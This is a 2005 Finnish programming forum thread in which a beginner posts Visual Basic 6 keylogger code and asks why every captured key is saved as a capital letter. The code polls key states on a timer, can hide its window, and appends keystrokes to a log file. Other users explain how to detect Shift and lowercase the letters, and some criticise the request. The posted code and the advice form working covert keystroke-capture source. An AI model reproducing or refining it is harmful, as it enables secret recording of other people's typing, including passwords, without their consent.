Kirjautuminen

Haku

Tehtävät

Keskustelu: Ohjelmointikysymykset: VB6: Keylogger

Sivun loppuun

Jomppes [10.07.2005 17:15:43]

#

Oisko mitään ohjelmaa jolla sais tallenettuu kaikki näppäimet jota painetaa samaan kansioon missä ite ohjelma on?Sain noilla koodeilla vaan kaiken isoks.

tällä ei kato oikein onnistunu.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Merkki As Integer
Dim Sana As String


Private Sub Form_Load()
    'Form1.Visible = False 'piilota formi tällä jos haluat
    Timer1.Interval = 1 'Tämä täytyy kalibroida koneen mukaan
    '(näppäinten skannauksen välinen aika)

    Timer1.Enabled = True
    Sana = ""
    Merkki = 0

End Sub

Private Sub Form_Unload(Cancel As Integer)
    Savettaa 'jos lopetetaan yllättäen talenna
End Sub

Private Sub Timer1_Timer()


    For kk = 65 To 90 'käydään läpi isot kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 97 To 122 'käydään läpi pienet kirjaimet
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    For kk = 47 To 58 'käydään läpi numerot
        If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
    Next

    If GetAsyncKeyState(32) Then pk = 32: GoTo uush 'space

    If GetAsyncKeyState(221) Then pk = 229: GoTo uush 'ä ei välttämättä
    If GetAsyncKeyState(222) Then pk = 228: GoTo uush 'ö tässä
    If GetAsyncKeyState(192) Then pk = 246: GoTo uush 'å järjestyksessä

    Exit Sub
uush:

    Sana = Sana & Chr(pk) 'lisätään sanaan merkki
    Merkki = Merkki + 1 'lisätään merkkilaskuriin 1
    If Merkki >= 1 Then Savettaa 'jos 50 kirjainta kirjoitettu savettaa
    'kannattaa muuttaa omien tarpeiden mukaan (50 merkkiä)

End Sub

Sub Savettaa()
    'Tallentaa kun 50 merkkiä painettu
    Open App.Path & "\loki.txt" For Append As #1
        Print #1; Sana 'tiedostoon ohjelman_polku/loki.txt tai VB:n kansio/loki.txt
    Close #1
    Merkki = 1
    Sana = ""

End Sub

Blaze [10.07.2005 17:20:14]

#

Katsotaas... "apuu!" on harvinaisen huono otsikko, kooditagit puuttuu ja onnistuit vielä tuplapostaamaan. Uskoakseni puhun kaikkien puolesta, kun sanon, että "ei näin".

hunajavohveli [10.07.2005 17:20:42]

#

App.Path palauttaa ohjelman hakemiston.

Edit: Niin ja siis sanoit haluavasi tallentaa vain näppäimet eikä näppäimistössä ole erikseen näppäimiä isoille ja pienille kirjaimille, joten kirjainnäppäin tallenetaan ison kirjaimen ASCII-koodina. Voit tietysti tutkia, onko Shift pohjassa tai Caps Lock päällä ja tallentaa sen mukaan.

Jomppes [10.07.2005 17:29:40]

#

niin mutta vaikka en painaisi shiftiä tai caps lock ei olisi päällä kaikki luotellaan isoksi (VB 6 käytössä)

hunajavohveli [10.07.2005 17:31:56]

#

Niinhän minä äsken sanoinkin. Tarkoitin, että sinun on tehtävä se tarkistus itse, koska GetAsyncKeyState palauttaa vain näppäimen, eikä tekstiä.

Jomppes [10.07.2005 17:33:16]

#

miten saisin sen palauttamaan tekstiä?
Oikeesti tää on tärkeetä.

hunajavohveli [10.07.2005 17:34:34]

#

Et mitenkään. Se palauttaa vain näppäimen tilan. Painetuista näppäimistä voit itse päätellä, minkälaista tekstiä tulee.

Esim. Jos painetaan Shiftiä ja A:ta niin siitä tulee iso A (paitsi jos Caps Lock on päällä).

Jomppes [10.07.2005 17:35:39]

#

se sitten olisi vaikeaa jos laittaisin 100 kirjainta pitkää tekstiä ja siinä olisi isoja ja pieniä kirjaimia.

hunajavohveli [10.07.2005 17:37:50]

#

Kuinka niin vaikeaa? Kerranhan se tarkistus vain tarvitsee koodata niin se tekee sen jokaiselle kirjainnäppäimelle.

Jomppes [11.07.2005 09:26:06]

#

mites se muka koodataan?
Kato mä oon vast alottanu.

kaviaari [11.07.2005 09:38:27]

#

Kannattaisiko vähän harkita mitä lähtee tekemään. Jos vasta veepeellä alotit niin herramunjee miks ihmeessä tollanen tekele. Perusteet kuntoon ja sit matkaan.

hunajavohveli [11.07.2005 11:37:39]

#

Jos Shift on pohjassa, niin sitten tallennat ison kirjaimen. Jos ei ole, niin tallennat pienen kirjaimen. Voit käyttää kirjaimen koon muuttamiseen LCase-funktiota.

Tämä on kyllä tosiaan aloittelijalle ehkä vähän liian vaativa asia. Jos ei ota onnistuakseen, niin aloita jollain helpommalla.


Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta